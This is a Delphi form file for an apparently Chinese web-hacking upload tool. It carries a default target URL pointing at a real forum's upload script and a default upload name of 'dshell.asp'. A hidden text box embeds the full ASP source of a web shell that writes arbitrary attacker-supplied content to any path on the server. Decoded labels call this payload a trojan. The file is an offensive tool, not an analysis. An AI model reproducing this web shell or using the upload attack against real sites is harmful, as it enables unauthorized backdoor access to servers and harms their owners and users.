upfilemain.dfm

Delphi源代码-啊D上传工具

object UpFileForm1: TUpFileForm1
  Left = 483
  Top = 166
  ActiveControl = SelAspM
  AutoScroll = False
  BorderIcons = [biSystemMenu, biMinimize]
  Caption = #21834'D'#19978#20256#24037#20855'   QQ:9269563  http://d99.126.com'
  ClientHeight = 364
  ClientWidth = 339
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -12
  Font.Name = #23435#20307
  Font.Style = []
  OldCreateOrder = False
  OnCreate = FormCreate
  OnDestroy = FormDestroy
  PixelsPerInch = 96
  TextHeight = 12
  object Label1: TLabel
    Left = 8
    Top = 16
    Width = 48
    Height = 12
    Caption = #25552#20132#22320#22336
  end
  object Label2: TLabel
    Left = 8
    Top = 43
    Width = 48
    Height = 12
    Caption = #36335#24452#23383#27573
  end
  object Label3: TLabel
    Left = 176
    Top = 43
    Width = 48
    Height = 12
    Caption = #25991#20214#23383#27573
  end
  object Label4: TLabel
    Left = 8
    Top = 71
    Width = 48
    Height = 12
    Caption = #19978#20256#20301#32622
  end
  object Label5: TLabel
    Left = 216
    Top = 71
    Width = 48
    Height = 12
    Caption = #20801#35768#31867#22411
  end
  object Label6: TLabel
    Left = 8
    Top = 89
    Width = 42
    Height = 12
    Caption = 'Cookies'
  end
  object Up_Submit: TFlatSpeedButton
    Left = 272
    Top = 105
    Width = 57
    Height = 49
    Caption = #19978#20256
    OnClick = Up_SubmitClick
  end
  object FlatSpeedButton1: TFlatSpeedButton
    Left = 272
    Top = 338
    Width = 58
    Height = 21
    Caption = #25171#24320#30475#30475
    OnClick = FlatSpeedButton1Click
  end
  object Up_OpenAspFile: TFlatSpeedButton
    Left = 272
    Top = 162
    Width = 57
    Height = 22
    Caption = #25171#24320
    Enabled = False
    OnClick = Up_OpenAspFileClick
  end
  object Up_Url: TFlatEdit
    Left = 64
    Top = 13
    Width = 265
    Height = 18
    ColorFlat = clWhite
    TabOrder = 0
    Text = 'http://www.sxhotel.com/bbs/upfile.asp'
  end
  object Up_Cookies: TMemo
    Left = 8
    Top = 105
    Width = 257
    Height = 49
    BevelInner = bvSpace
    BevelKind = bkFlat
    BorderStyle = bsNone
    Lines.Strings = (
      'iscookies=0;')
    TabOrder = 1
  end
  object Up_FileType: TFlatComboBox
    Left = 272
    Top = 67
    Width = 57
    Height = 20
    Color = clWindow
    ItemHeight = 12
    Items.Strings = (
      'jpg'
      'gif')
    TabOrder = 2
    Text = 'gif'
    ItemIndex = -1
  end
  object Up_PathField: TFlatComboBox
    Left = 64
    Top = 39
    Width = 97
    Height = 20
    Color = clWindow
    ItemHeight = 12
    Items.Strings = (
      'filepath')
    TabOrder = 3
    Text = 'filepath'
    ItemIndex = -1
  end
  object Up_FileField: TFlatComboBox
    Left = 232
    Top = 39
    Width = 97
    Height = 20
    Color = clWindow
    ItemHeight = 12
    Items.Strings = (
      'file1')
    TabOrder = 4
    Text = 'file1'
    ItemIndex = -1
  end
  object Up_FilePath: TFlatComboBox
    Left = 64
    Top = 67
    Width = 137
    Height = 20
    Color = clWindow
    ItemHeight = 12
    Items.Strings = (
      'dshell.asp')
    TabOrder = 5
    Text = 'dshell.asp'
    ItemIndex = -1
  end
  object UpFile_ShowMsg: TMemo
    Left = 8
    Top = 192
    Width = 321
    Height = 137
    BevelInner = bvSpace
    BevelKind = bkFlat
    BorderStyle = bsNone
    ScrollBars = ssVertical
    TabOrder = 6
    WantReturns = False
  end
  object Up_File: TMemo
    Left = 16
    Top = 200
    Width = 273
    Height = 65
    BevelInner = bvSpace
    BevelKind = bkFlat
    BorderStyle = bsNone
    Lines.Strings = (
      
        '<STYLE TYPE="text/css">textarea,input,body,select,pre,td,th{font' +
        '-family: "'#23435#20307'";font-size: 9pt}.button {border-width: 1px} .text {' +
        'border-width: 1px,1px,1px,1px;border: 1px solid}</STYLE>'
      '<% dim objFSO %>'
      '<% dim fdata %>'
      '<% dim objCountFile %>'
      '<% on error resume next %>'
      
        '<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject"' +
        ') %>'
      '<% if Trim(request("syfdpath"))<>"" then %>'
      '<% fdata = request("cyfddata") %>'
      
        '<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),Tr' +
        'ue) %>'
      '<% objCountFile.Write fdata %>'
      '<% if err =0 then %>'
      '<% response.write "<font color=red>save Success!</font>" %>'
      '<% else %>'
      '<% response.write "<font color=red>Save UnSuccess!</font>" %>'
      '<% end if %>'
      '<% err.clear %>'
      '<% end if %>'
      '<% objCountFile.Close %>'
      '<% Set objCountFile=Nothing %>'
      '<% Set objFSO = Nothing %>'
      '<% Response.write "<form action='#39#39' method=post>" %>'
      '<% Response.write "<font color=red>'#20445#23384#25991#20214#30340#32477#23545#36335#24452'<br>('#26412#25991#20214#32477#23545#36335#24452': " %> '
      '<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>'
      '<% Response.write "):</font><br>" %>'
      
        '<% Response.Write "<input type=text name=syfdpath width=32 size=' +
        '81 CLASS=text>" %>'
      '<% Response.Write "<br>" %>'
      '<% Response.write "<br>" %>'
      '<% Response.write "'#36755#20837#39532#30340#20869#23481':<br>" %>'
      
        '<% Response.write "<textarea name=cyfddata cols=80 rows=10 width' +
        '=32 CLASS=text></textarea><br>" %>'
      '<% Response.write "<input type=submit value='#20445#23384' CLASS=button>" %>'
      '<% Response.write "</form>" %>')
    TabOrder = 7
    Visible = False
    WordWrap = False
  end
  object AspUrl: TFlatEdit
    Left = 8
    Top = 340
    Width = 257
    Height = 18
    ColorFlat = clWhite
    TabOrder = 8
  end
  object AspFile: TFlatEdit
    Left = 80
    Top = 164
    Width = 185
    Height = 18
    ColorFlat = clWhite
    Enabled = False
    ReadOnly = True
    TabOrder = 9
  end
  object SelAspM: TFlatCheckBox
    Left = 8
    Top = 166
    Width = 68
    Height = 17
    Caption = #25351#23450#26408#39532
    TabOrder = 10
    TabStop = True
    OnClick = SelAspMClick
  end
  object UpFileOpenDialog: TOpenDialog
    Left = 280
    Top = 208
  end
end